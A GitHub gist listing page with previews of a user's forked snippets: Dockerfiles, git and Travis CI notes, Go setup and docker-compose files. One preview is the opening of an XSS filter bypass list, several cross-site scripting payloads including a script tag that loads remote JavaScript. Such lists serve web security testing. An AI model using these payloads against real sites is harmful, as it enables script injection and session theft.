Skip to content

Instantly share code, notes, and snippets.

View goeroeku's full-sized avatar

Agus Indra Cahaya goeroeku

View GitHub Profile
@goeroeku
goeroeku / Dockerfile.php-5.5
Created April 24, 2019 22:56 — forked from danielcosta/Dockerfile.php-5.5
Compile memcache on alpine container for PHP 5.5 and 5.6
# php-5.5
FROM daccbr/php:5.5-fpm-alpine
RUN addgroup -g 1000 sumup && adduser -u 1000 -h /home/sumup -H -G sumup -s /bin/false -D sumup
RUN apk --update add openssh-client libtool make grep autoconf gcc libc-dev zlib-dev
RUN cd /tmp \
&& apk --update add cyrus-sasl-dev libmemcached-dev \
&& curl -L --progress-bar -o "php-memcached-2.2.0.tar.gz" "https://github.com/php-memcached-dev/php-memcached/archive/2.2.0.tar.gz" \
@goeroeku
goeroeku / gist:39c35a7bd36c9e0aae222dcf04684b82
Created April 13, 2019 11:45 — forked from danielestevez/gist:2044589
GIT Commit to an existing Tag
1) Create a branch with the tag
git branch {tagname}-branch {tagname}
git checkout {tagname}-branch
2) Include the fix manually if it's just a change ....
git add .
git ci -m "Fix included"
or cherry-pick the commit, whatever is easier
git cherry-pick {num_commit}
@goeroeku
goeroeku / .travis.yml
Created April 13, 2019 05:25 — forked from yjbanov/.travis.yml
Continuously build Flutter APKs and IPAs using Travis build matrix
matrix:
include:
- os: linux
language: android
licenses:
- 'android-sdk-preview-license-.+'
- 'android-sdk-license-.+'
- 'google-gdk-license-.+'
android:
components:
@goeroeku
goeroeku / README.md
Created April 13, 2019 05:24 — forked from vinceallenvince/README.md
CI with Travis, github Releases API, gh-pages and npm publish

CI with Travis, GitHub Releases API and gh-pages

When hosting a project on GitHub, it's likely you'll want to use GitHub Pages to host a public web site with examples, instructions, etc. If you're not using a continuous integration service like Travis, keeping your gh-pages site up to date requires continuous wrangling.

The steps below outline how to use Travis CI with GitHub Releases and GitHub Pages to create a "1-button" deployment workflow. After testing and running a release build, Travis will upload your release assets to GitHub. It will also push a new version of your public facing site to GitHub Pages.

Organize your project

Let's assume you are hosting a JavaScript project that will offer a single JavaScript file as a release asset. It's likely you'll organize your files like this.

@goeroeku
goeroeku / bash-checking.md
Last active April 8, 2019 22:51
Bash for checking Vuln

Bash scripting for Vuln Checking

#!/bin/bash
# TheBashter V 1.0 Beta

rm *.bshtr 2> /dev/null

RED='\e[31m'
GRN='\e[32m'
YEL='\e[33m'
@goeroeku
goeroeku / xxsfilterbypass.lst
Created April 7, 2019 03:06 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@goeroeku
goeroeku / Dockerfile
Created February 9, 2019 01:04 — forked from Mikulas/Dockerfile
Docker image PHP 7.1 alpine with extensions
FROM php:7.1-fpm-alpine
RUN apk add --update \
autoconf \
g++ \
libtool \
make \
&& docker-php-ext-install mbstring \
&& docker-php-ext-install mysqli \
@goeroeku
goeroeku / Installation.md
Created February 3, 2019 14:37
All about Go-Lang

Install golang

sudo pacman -S go

tools for hot reload

install auto reload fol all golang

go get -u github.com/oxequa/realize
@goeroeku
goeroeku / sources.list
Created February 3, 2019 05:16 — forked from rohitrawat/sources.list
Ubuntu 16.04 Xenial default /etc/apt/sources.list
#deb cdrom:[Ubuntu 16.04.2 LTS _Xenial Xerus_ - Release amd64 (20170215.2)]/ xenial main restricted
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
deb http://us.archive.ubuntu.com/ubuntu/ xenial main restricted
# deb-src http://us.archive.ubuntu.com/ubuntu/ xenial main restricted
## Major bug fix updates produced after the final release of the
## distribution.
deb http://us.archive.ubuntu.com/ubuntu/ xenial-updates main restricted
@goeroeku
goeroeku / docker-compose.yml
Created January 20, 2019 12:05 — forked from egobude/docker-compose.yml
Rancher - Load Balancer Setup
version: '2'
services:
nginx:
image: docker-registry.avency.de:5000/avency/nginx:1.11-alpine
stdin_open: true
volumes:
- /docker/nginx-phpfpm/data:/data
- /docker/nginx-phpfpm/nginx.conf:/etc/nginx/nginx.conf
- /docker/nginx-phpfpm/default.conf:/etc/nginx/conf.d/default.conf
tty: true